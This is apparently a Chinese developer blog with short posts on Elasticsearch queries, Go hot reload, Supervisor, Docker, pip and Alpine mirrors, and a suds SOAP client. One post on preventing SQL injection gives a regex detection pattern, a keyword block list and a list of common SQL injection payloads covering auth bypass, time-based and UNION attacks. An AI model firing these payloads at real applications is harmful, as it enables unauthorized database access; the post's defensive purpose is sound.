晨曦's Blog

This is a window to the soul

一个非常简单的需求,需要在 ES 中去匹配 IPV62409:8a10:* 段的数据,看看如何查询

实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
GET logstash-nginx-*/doc/_search
{
"_source": "remote_ip",
"query": {
"bool": {
"must": [
{
"query_string": {
"fields": [
"remote_ip.keyword"
],
"query": """2409\:8a10\:*""",
"analyzer": "keyword",
"analyze_wildcard": true
}
}
],
"filter": {
"range": {
"@timestamp": {
"gte": "2021-12-14T09:54:00.000000+0800",
"lt": "2021-12-16T09:55:00.000000+0800"
}
}
}
}
}
}

这里的重点是 """2409\:8a10\:*""" 也可以写成 "2409\\:8a10\\:*",其他的符号也可按此类推即可

最后效果:


ES 相关参考

Python 中需要热加载是非常简单的,以 Sanic 为例只需要设置 auto_reload=True,但是在 Gin 中没有内置相应的功能,这里我们可以利用 Go 中的一些其他包实现,即更改源码,保存后,自动触发更新,浏览器上刷新即可。免去了杀进程、重新启动之苦

Fresh

试了下 github.com/gravityblast/fresh 还觉得不错
安装:

1
go get github.com/pilu/fresh

使用:

1
fresh

其他

记录一下其他实现框架
Air:https://github.com/cosmtrek/air
Bee:https://github.com/beego/bee
Realize:https://github.com/oxequa/realize
Gin:https://github.com/codegangsta/gin
gowatch:https://github.com/silenceper/gowatch


题外话:
在安装非项目使用的包时如:fresh,最好是不要在项目根目录下进行 go get 或者会被写入到项目的 go.mod

前记

最近需要实现通过 Supervisor 来守护 Haproxy,折腾了半天记录下实现配置

实现

1
2
3
4
5
6
[program:haproxy]
command=/usr/sbin/haproxy -f /etc/haproxy/haproxy.cfg -p /run/haproxy.pid -Ds
process_name=haproxy
autostart=true
autorestart=true
startretries=1

这里的重点是 -p /run/haproxy.pid 必须要指定 pid 的路径,要不然没法获取到 program 状态

类型?

type 定义的结构体接口都是类型

导出名

Go 中,如果一个名字以大写字母开头,那么它就是已导出的,在导入一个包时,你只能引用其中已导出的名字。任何未导出的名字在该包外均无法访问
类似其他语言 PublicPrivate 修饰符

命名返回值

Go 的返回值可被命名,它们会被视作定义在函数顶部的变量。返回值的名称应当具有一定的意义,它可以作为文档使用。没有参数的 return 语句返回已命名的返回值。也就是直接返回

短变量声明

函数中,简洁赋值语句:= 可在类型明确的地方代替 var 声明
函数外的每个语句都必须以关键字开始(var, func 等等),因此 := 结构不能在函数外使用

零值

没有明确初始值的变量声明会被赋予它们的零值0false""(空字符串)

常量

使用 const 关键字声明,常量不能用:= 语法声明

defer

defer 语句会将函数推迟到外层函数返回之后执行,推迟调用的函数其参数会立即求值,但直到外层函数返回前该函数都不会被调用
推迟的函数调用会被压入一个栈中。当外层函数返回时,被推迟的函数会按照后进先出的顺序调用可以看做是倒序执行

指针

指针保存了值的内存地址

切片

它会选择一个半开区间,包括第一个元素,但排除最后一个元素
切片并不存储任何数据,它只是描述了底层数组中的一段。更改切片的元素会修改其底层数组中对应的元素。与它共享底层数组的切片都会观测到这些修改

匿名函数与闭包

有了匿名函数,就可以在函数中再定义函数(函数嵌套),定义的这个匿名函数,也可以称为内部函数。更重要的是,在函数内定义的内部函数,可以使用外部函数的变量等,这种方式也称为闭包

方法与函数

方法就是一类带特殊的接收者参数的函数
接收者的类型定义和方法声明必须在同一包内;不能为内建类型声明方法

选择值或指针作为接收者

使用指针接收者的原因有二:
首先,方法能够修改其接收者指向的值。
其次,这样可以避免在每次调用方法时复制该值。若值的类型为大型结构体时,这样做会更加高效
通常来说,所有给定类型的方法都应该有值或指针接收者,但并不应该二者混用

接口

接口类型是由一组方法签名定义的集合
类型通过实现一个接口的所有方法来实现该接口。既然无需专门显式声明,也就没有 “implements” 关键字
隐式接口从接口的实现中解耦了定义,这样接口的实现可以出现在任何包中,无需提前准备
因此,也就无需在每一个实现上增加新的接口名称,这样同时也鼓励了明确的接口定义


未完待续…

国内的 PYPI 源也挺多的,经过实际使用下来,还是觉得华为的 PYPI 源包的版本最为齐全,推荐用华为的源进行加速

临时使用

运行以下命令使用华为源:

1
pip install -r requirements.txt --trusted-host https://repo.huaweicloud.com -i https://repo.huaweicloud.com/repository/pypi/simple

或者

1
pip install --trusted-host https://repo.huaweicloud.com -i https://repo.huaweicloud.com/repository/pypi/simple sanic

通过上面的方式安装单个包

设为默认

Pip 的配置文件为用户根目录下的:~/.pip/pip.confWindows 路径为:C:\Users\<UserName>\pip\pip.ini), 您可以配置如下内容:

1
2
3
4
[global]
index-url = https://repo.huaweicloud.com/repository/pypi/simple
trusted-host = repo.huaweicloud.com
timeout = 120

其他国内镜像源:

1
2
3
4
5
阿里云:http://mirrors.aliyun.com/pypi/simple/
中国科技大学:https://pypi.mirrors.ustc.edu.cn/simple/
豆瓣(douban):http://pypi.douban.com/simple/
清华大学:https://pypi.tuna.tsinghua.edu.cn/simple/
中国科学技术大学:http://pypi.mirrors.ustc.edu.cn/simple/

个人推荐使用华为的 Alpine 源,通过我的测试华为的源最为齐全

华为

1
sed -i 's/dl-cdn.alpinelinux.org/repo.huaweicloud.com/g' /etc/apk/repositories

阿里

1
sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories

科大

1
sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories

清华

1
sed -i 's/dl-cdn.alpinelinux.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apk/repositories

Docker

1
RUN sed -i 's/dl-cdn.alpinelinux.org/repo.huaweicloud.com/g' /etc/apk/repositories

最近开发 Python 一直在用 Sanic,感觉还不错;看看如何将 Sanic 部署到 Docker 中并用 Supervisor 来守护

Dockerfile

这里利用 Python 3.9 来构建基础镜像

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FROM python:3.9-alpine

RUN sed -i 's/dl-cdn.alpinelinux.org/repo.huaweicloud.com/g' /etc/apk/repositories

RUN apk update \
&& apk add --no-cache build-base \
&& apk add --no-cache libffi-dev

RUN mkdir /usr/src/app

COPY . /usr/src/app/

COPY ./supervisor/supervisord.conf /etc/supervisord.conf

WORKDIR /usr/src/app
ENV PYTHONPATH /usr/src/app

RUN pip3 install supervisor \
&& pip3 install -r requirements.txt --trusted-host https://repo.huaweicloud.com -i https://repo.huaweicloud.com/repository/pypi/simple

CMD ["supervisord", "-c", "/etc/supervisord.conf"]

这里利用华为的 alpine 源和 pypi

Supervisor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[unix_http_server]
file=/var/run/supervisor.sock

[supervisord]
logfile=/var/log/supervisord.log
logfile_maxbytes=50MB
logfile_backups=10
loglevel=info
pidfile=/var/run/supervisord.pid
nodaemon=true
silent=false
minfds=1024
minprocs=200

[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface

[supervisorctl]
serverurl=unix:///var/run/supervisor.sock

[program:sanic]
user = root
directory=/usr/src/app
command=sanic server.app --host=0.0.0.0 --port=8888 --workers=4
stdout_logfile_backups=20
stdout_logfile_maxbytes=50MB
stdout_logfile = /var/log/sanic.log
stderr_logfile = /var/log/sanic.err
autostart=true

Supervisor 配置参考


题外话:

容器运行 Supervisor 记得设置 nodaemon=true,或则会出现 Unlinking stale socket /var/run/supervisor.sock

因为 Supervisor 默认是 deamon 模式,启动命令结束后 Supervisor 会在后台运行,而容器运行启动命令返回 0 后自己关闭了,导致一直出现无法运行的现象

错误 / 修复

此错误是利用 python:3.9-alpine 在打包 Docker 镜像时遇到的

1
2
3
4
5
c/_cffi_backend.c:15:10: fatal error: ffi.h: No such file or directory
15 | #include <ffi.h>
| ^~~~~~~
compilation terminated.
error: command '/usr/bin/gcc' failed with exit code 1

修复

1
apk add --no-cache libffi-dev

UbuntuCentos 中应该

1
2
3
apt-get install libffi-dev

yum install libffi-devel

错误 / 修复

错误:

1
pip._vendor.urllib3.exceptions.ReadTimeoutError: HTTPSConnectionPool(host='files.pythonhosted.org', port=443): Read timed out.

修复:

1
pip3 install --default-timeout=1000 --no-cache-dir -r requirements.txt

或者是利用国内的 pypi

SQL 防注入

一般在项目中我们不太会去注意 SQL 注入的问题,因为我们会使用 ORM,而 ORM 在实现的过程中也会帮我做 SQL 注入过滤;但有的时候 ORM 没法满足我们的需求,这时可能就会手撸原生 SQL 来执行

注意!!极其不建议使用拼接 sql 语句,这样很容易引起 sql 注入!!

如果必须要自己拼接 sql 语句,请使用 mysql.escape 方法;或者利用正则来对输入参数进行过滤。以 Python为例利用 re.compile 生成正则表达式,然后利用 re.search 进行判断,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pattern = re.compile(
r"(%27)|(\')|(\-\-)|(%23)|(#)|" # Regex for detection of SQL meta-characters
r"\w*((%27)|(\'))\s+((%6F)|o|(%4F))((%72)|r|(%52))\s*|" # Modified regex for detection of SQL meta-characters eg: ' or 1 = 1' detect word 'or',
r"((%3D)|(=))[^\n]*((%27)|(\')|(\-\-)|(%3B)|(;))" # Regex for typical SQL Injection attack eg: '= 1 --'
r"((%27)|(\'))union|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))select|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))insert|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))update|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))drop", # Regex for detecting SQL Injection with the UNION keyword
re.IGNORECASE,
)
r = pattern.search("' OR 1 -- -")
if r:
return True

也有一种直接简单粗暴的方法,那就是直接过滤关键字:

1
pattern = r"\b(exec|insert|union|select|drop|grant|alter|delete|update|count|chr|mid|truncate|delclare)\b|(;)"

Payload

常用 SQL 注入 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
--- 通用SQL注入payload

' or '
-- or #
' OR '1
' OR 1 -- -
OR "" = "
" OR 1 = 1 -- -"
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2

--- 基于时间的payload

,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

--- 基于通用错误的payload

OR 1=1
OR 1=1#
OR x=y#
OR 1=1--
OR x=x--
OR 3409=3409 AND ('pytW' LIKE 'pytW
HAVING 1=1
HAVING 1=1#
HAVING 1=0--
AND 1=1--
AND 1=1 AND '%'='
WHERE 1=1 AND 1=0--
%' AND 8310=8310 AND '%'='

--- 基于认证的payload

' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
or true--
" or true--
' or true--
") or true--
') or true--
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/

--- Order by和UNION的payload

1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+
1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@
1 AND (SELECT * FROM Users) = 1
' AND MID(VERSION(),1,1) = '5';
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

常用正则表达式参考

客户端

Python 中的 Webservice 客户端 suds 常用的有两个包

suds-py3

suds

目前选择的是 suds,安装

1
pip install suds

解析

具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import xml.etree.ElementTree as ET

from suds.client import Client

url = "http://172.19.7.7/PSIGW/PeopleSoftServiceListeningConnector/PSFT_HR/CST_INF_SERVICE.13.wsdl"
client = Client(url)

print(client)

result = client.service.CST_INF_JOBCODE_OUT(
BATCH_NUM="xxx",
IFAC_CODE="xxx",
REQUEST_DATA="<![CDATA[<ROOT><CST_PAGENUMBER>1</CST_PAGENUMBER><CST_PAGESIZE>300</CST_PAGESIZE><RUN_TYPE>ALL</RUN_TYPE><TOKENID>xxx</TOKENID><SYSTEM>xxx</SYSTEM></ROOT>]]>",
)

root = ET.fromstring(result["RETURN_DATA"])
for child in root:
print(child[2].text)

先看看看 client 中的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
Suds ( https://fedorahosted.org/suds/ )  version: 1.0.0

Service ( CST_INF_SERVICE ) tns="http://xmlns.oracle.com/Enterprise/Tools/services/CST_INF_SERVICE.13"
Prefixes (2)
ns0 = "http://xmlns.oracle.com/Enterprise/Tools/schemas/CST_INF_REQ.V1"
ns1 = "http://xmlns.oracle.com/Enterprise/Tools/schemas/CST_INF_RSP.V1"
Ports (1):
(CST_INF_SERVICE_Port)
Methods (1):
CST_INF_JOBCODE_OUT(xs:string BATCH_NUM, xs:string IFAC_CODE, xs:string REQUEST_DATA)
Types (2):
ns0:REQUEST
ns1:RESPONSE

如上所示 CST_INF_JOBCODE_OUT 方法有 3 个参数而且都是 string 类型,这里重点说说 REQUEST_DATA,原生请求 Xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:erp="http://xmlns.oracle.com/Enterprise/Tools/schemas/CST_INF_R
EQ.V1">
<soapenv:Header/>
<soapenv:Body>
<erp:REQUEST>
<erp:BATCH_NUM>xxx</erp:BATCH_NUM>
<erp:IFAC_CODE>xxx</erp:IFAC_CODE>
<erp:REQUEST_DATA>
<![CDATA[
<ROOT>
<CST_PAGENUMBER>100</CST_PAGENUMBER>
<CST_PAGESIZE>1</CST_PAGESIZE>
<RUN_TYPE>ALL</RUN_TYPE>
<TOKENID>xxx</TOKENID>
<SYSTEM>xxx</SYSTEM>
</ROOT>]]>
</erp:REQUEST_DATA>
</erp:REQUEST>
</soapenv:Body>
</soapenv:Envelope>

对于 REQUEST_DATA 中的 CDATA 包裹部分应该选择原样传入

1
2
3
4
5
6
7
8
<![CDATA[
<ROOT>
<CST_PAGENUMBER>100</CST_PAGENUMBER>
<CST_PAGESIZE>1</CST_PAGESIZE>
<RUN_TYPE>ALL</RUN_TYPE>
<TOKENID>xxx</TOKENID>
<SYSTEM>xxx</SYSTEM>
</ROOT>]]>

最后是对 xml 的解析可以利用 ElementTree,具体可以参考

ElementTree

0%